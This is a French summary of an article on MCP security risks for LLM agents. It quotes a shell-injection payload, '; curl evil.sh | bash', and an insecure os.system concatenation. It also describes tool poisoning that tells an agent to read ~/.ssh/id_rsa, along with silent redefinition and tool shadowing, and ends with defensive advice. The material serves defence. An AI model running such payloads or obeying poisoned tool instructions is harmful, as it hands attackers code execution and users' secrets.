Le « S » de MCP signifie sécurité

• Le Model Context Protocol (MCP) est mis en avant comme un standard reliant des agents LLM comme Claude, GPT ou Cursor à des outils et des données, mais son modèle de sécurité de base est faible, au point que son adoption peut elle-même élargir la surface d’attaque
• La connexion à des API standard, les sessions persistantes, l’exécution de commandes et le partage de contexte deviennent plus simples, mais se connecter à des serveurs arbitraires peut créer une voie de contournement menant au shell, aux secrets et à l’infrastructure
• Lors des tests d’Equixly, plus de 43 % des implémentations de serveurs MCP contenaient des appels shell non sécurisés, et Invariant Labs a décrit la Tool Poisoning Attack, qui consiste à dissimuler des instructions malveillantes dans la description d’un outil
• MCP manque de standard d’authentification, de chiffrement du contexte et de vérification de l’intégrité des outils, et les utilisateurs ont du mal à voir l’intégralité des instructions d’outil réellement lues par l’agent
• Les développeurs doivent valider les entrées et épingler les versions, les plateformes doivent afficher les métadonnées et utiliser des hachages d’intégrité, et les utilisateurs doivent surveiller les connexions à des serveurs arbitraires ainsi que les mises à jour d’outils inattendues

---

Pourquoi MCP devient une surface d’attaque

• Le MCP (Model Context Protocol) est un nouveau standard pour la manière dont les LLM s’intègrent aux outils et aux données, souvent présenté comme un « USB-C pour agents IA »
• Via MCP, les agents peuvent traiter diverses tâches de manière standardisée
  • Se connecter aux outils via des API standardisées
  • Maintenir des sessions persistantes
  • Exécuter des commandes
  • Partager le contexte entre workflows
• Le problème central est que MCP ne fournit pas de modèle de sécurité par défaut
  • Connecter un agent à un serveur MCP arbitraire peut créer un canal latéral menant au shell, aux secrets et à l’infrastructure

Méthodes d’attaque réellement évoquées

• Vulnérabilités d’injection de commandes

  • Lors des tests d’Equixly, plus de 43 % des implémentations de serveurs MCP incluaient des appels shell non sécurisés
  • Le code d’exemple concatène directement l’entrée utilisateur dans une commande shell, comme os.system("notify-send " + notification_info['msg'])
  • Si un attaquant insère une charge utile comme "; curl evil.sh | bash" dans les paramètres d’un outil MCP, cela peut entraîner une exécution de code à distance via un agent de confiance

• Tool Poisoning Attack

  • L’attaque décrite par Invariant Labs consiste à dissimuler des instructions malveillantes dans la description d’un outil MCP
  • Cette description est invisible pour l’utilisateur, mais reste entièrement exposée à l’IA
  • L’outil d’exemple semble être une fonction additionnant deux nombres, mais sa description inclut des instructions pour lire ~/.ssh/id_rsa et ~/.cursor/mcp.json
  • Des agents comme Cursor peuvent suivre ces instructions

• Silent Redefinition

  • Un outil MCP peut modifier sa propre définition après installation
  • Même si l’utilisateur a approuvé un outil apparemment sûr le premier jour, celui-ci peut ensuite évoluer discrètement pour envoyer des clés d’API à un attaquant
  • On peut y voir un problème de supply chain introduit à l’intérieur du LLM

• Cross-Server Tool Shadowing

  • Quand plusieurs serveurs sont connectés au même agent, un serveur malveillant peut écraser ou intercepter des appels destinés à un serveur de confiance
  • Résultats possibles
    • Envoyer à un attaquant un e-mail qui semble avoir été envoyé à l’utilisateur
    • Injecter une logique furtive dans un outil sans rapport
    • Encoder une exfiltration de données via des arguments peu visibles

Mécanismes de sécurité manquants et réponses par rôle

• La priorité actuelle de MCP est davantage la facilité d’intégration et une interface unifiée, et il lui manque les fonctions de sécurité suivantes
  • Aucun standard d’authentification
  • Aucun chiffrement du contexte
  • Aucune méthode de vérification de l’intégrité des outils
• Les utilisateurs ne peuvent pas vérifier l’intégralité des instructions d’outil vues par l’agent, ni disposer d’un mécanisme permettant de valider que « cet outil n’a pas été altéré »

• Développeurs

  • Utiliser une validation des entrées
  • Épingler les versions des serveurs MCP et des outils
  • Assainir les descriptions d’outils

• Constructeurs de plateformes

  • Afficher l’ensemble des métadonnées des outils
  • Utiliser des hachages d’intégrité pour les mises à jour serveur
  • Imposer la sécurité des sessions

• Utilisateurs

  • Ne pas se connecter à des serveurs arbitraires
  • Surveiller le comportement des sessions comme on surveille des logs de production
  • Guetter les mises à jour d’outils inattendues

Le projet ScanMCP.com

• ScanMCP.com pourrait proposer un scanner et un tableau de bord pour auditer les outils MCP connectés
• Les éléments affichés pourraient inclure
  • Des risques comme la RCE, l’empoisonnement d’outils ou les fuites de session
  • L’écart entre les informations visibles par l’utilisateur et celles vues par l’agent
• Les cibles adaptées seraient les équipes sécurité des plateformes d’agents, les startups d’infrastructure IA et les créateurs d’outils indépendants qui accordent une forte importance à la confiance
• MCP est puissant, mais tant qu’un protocole de sécurité de base ne sera pas en place, des outils offrant visibilité et contrôle resteront nécessaires